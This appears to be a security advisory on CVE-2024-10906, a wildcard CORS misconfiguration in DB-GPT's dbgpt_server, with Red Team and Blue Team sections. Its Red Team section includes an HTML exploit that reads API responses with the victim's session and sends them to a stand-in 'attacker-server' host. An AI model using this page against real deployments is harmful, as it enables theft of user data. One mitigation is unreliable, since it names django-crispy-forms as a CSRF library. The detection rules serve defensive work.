CVE-2024-10906

Executive Summary

CVE-2024-10906 is a Cross-Site Request Forgery (CSRF) vulnerability in the dbgpt_server component of the eosphoros-ai/db-gpt project, version 0.6.0. The vulnerability arises from an overly permissive CORS configuration that sets Access-Control-Allow-Origin to * for all requests, allowing any external website to make authenticated requests to the server on behalf of a logged-in user. This can lead to unauthorized actions, data exfiltration, or further compromise of the DB-GPT instance. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk is significant for exposed instances.

Supply Chain & Package Security

This vulnerability affects the Python package db-gpt (PyPI). Users who install this package via pip are at risk if they run the dbgpt_server component with default settings. The package is not signed, and no integrity checks are enforced by the PyPI registry. Organizations should verify the package hash and consider using a private registry or sandboxed environment.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must visit a malicious site)
• Scope: Unchanged
• Confidentiality Impact: High (attacker can read sensitive data)
• Integrity Impact: High (attacker can modify data or perform actions)
• Availability Impact: None

Deep Dive & Mechanics

The dbgpt_server application uses the uvicorn ASGI server and configures CORSMiddleware with allow_origins=["*"]. This setting tells the browser to allow cross-origin requests from any domain, effectively disabling the Same-Origin Policy. An attacker can craft a malicious webpage that, when visited by an authenticated user, sends requests to the DB-GPT server (e.g., via JavaScript fetch or XMLHttpRequest). Since the server responds with Access-Control-Allow-Origin: *, the browser will allow the response to be read by the attacker's script, enabling data theft or state-changing operations.

The vulnerability is not a traditional CSRF because CORS is meant to be a server-side control; however, the permissive CORS policy combined with the lack of CSRF tokens makes the server vulnerable to cross-origin attacks. The attacker does not need to be on the same network; they only need to lure a victim to a malicious site.

Vulnerable vs. Patched Code

Vulnerable Code (dbgpt_server.py, version 0.6.0):

from fastapi.middleware.cors import CORSMiddleware

app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    allow_credentials=True,
    allow_methods=["*"],
    allow_headers=["*"],
)

Patched Code (hypothetical fix):

from fastapi.middleware.cors import CORSMiddleware

app.add_middleware(
    CORSMiddleware,
    allow_origins=["https://trusted-domain.com"],  # Restrict to specific origins
    allow_credentials=True,
    allow_methods=["GET", "POST"],  # Limit methods
    allow_headers=["Authorization", "Content-Type"],  # Limit headers
)

The patch removes the wildcard origin and restricts to a whitelist of trusted domains. Additionally, implementing CSRF tokens (e.g., using fastapi-csrf-protect) would further mitigate the risk.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install vulnerable DB-GPT: pip install db-gpt==0.6.0
2. Start the server: dbgpt_server start
3. Create a malicious HTML page on an attacker-controlled domain.

Exploit Code (malicious.html):

<!DOCTYPE html>
<html>
<body>
<script>
// Replace with target DB-GPT server URL
const target = 'http://victim-server:5000';

// Example: Fetch sensitive data
fetch(target + '/api/v1/chat/completions', {
    method: 'POST',
    credentials: 'include',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({prompt: 'List all users'})
}).then(response => response.text())
  .then(data => {
      // Exfiltrate to attacker server
      new Image().src = 'http://attacker-server/steal?data=' + encodeURIComponent(data);
  });
</script>
</body>
</html>

Execution:

• Host the malicious page on an attacker-controlled server.
• Send the link to a victim who is authenticated to the DB-GPT server.
• The victim's browser will execute the script, sending requests to the DB-GPT server and exfiltrating data.

Blue Team

Detection:

• Monitor for unexpected cross-origin requests in server logs (e.g., Origin header not matching expected domains).
• Use network monitoring to detect outbound connections to unknown IPs from the DB-GPT server.
• Implement Content Security Policy (CSP) headers to restrict script sources.

Mitigation:

• Immediately restrict CORS origins to a whitelist.
• Add CSRF tokens to all state-changing endpoints.
• Use SameSite=Strict or SameSite=Lax cookies to prevent cross-origin requests.

Indicators of Compromise (IOCs)

• Network: HTTP requests with Origin header set to an unexpected domain.
• Logs: Server logs showing requests from unusual Referer or Origin headers.
• File: Presence of dbgpt_server with default CORS configuration.
• Behavior: Unauthorized API calls to endpoints like /api/v1/chat/completions or /api/v1/datasets.

Detection Engineering

YARA Rule

rule CVE_2024_10906_CORS_Misconfig {
    meta:
        description = "Detects overly permissive CORS configuration in dbgpt_server"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-10906"
    strings:
        $cors_wildcard = "allow_origins=[\"*\"]" ascii wide nocase
        $cors_middleware = "CORSMiddleware" ascii wide nocase
    condition:
        $cors_middleware and $cors_wildcard
}

Sigma Rule

title: CVE-2024-10906 - DB-GPT Server CORS Misconfiguration
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with unexpected Origin headers to dbgpt_server
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: uvicorn
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/api/v1/'
        cs-headers|contains: 'Origin'
    filter:
        cs-headers|contains: 'Origin: https://trusted-domain.com'
    condition: selection and not filter
falsepositives:
    - Legitimate cross-origin requests from trusted domains
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10906 - DB-GPT Server CORS Misconfiguration"; flow:to_server; http.method; content:"POST"; http.uri; content:"/api/v1/"; http.request_line; content:"Origin"; pcre:"/Origin:\s*(?!https:\/\/trusted-domain\.com)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Restrict CORS origins to a whitelist of trusted domains. Remove allow_origins=["*"] and replace with specific origins.
2. Short-term: Implement CSRF tokens using libraries like fastapi-csrf-protect or django-crispy-forms.
3. Long-term: Upgrade to a patched version of db-gpt once available. Monitor the project's GitHub for updates.
4. Network: Place the DB-GPT server behind a reverse proxy (e.g., Nginx) that enforces strict CORS policies and rate limiting.
5. User Awareness: Educate users not to click on suspicious links while authenticated to the DB-GPT server.

Valters IT
Securing Digital Frontiers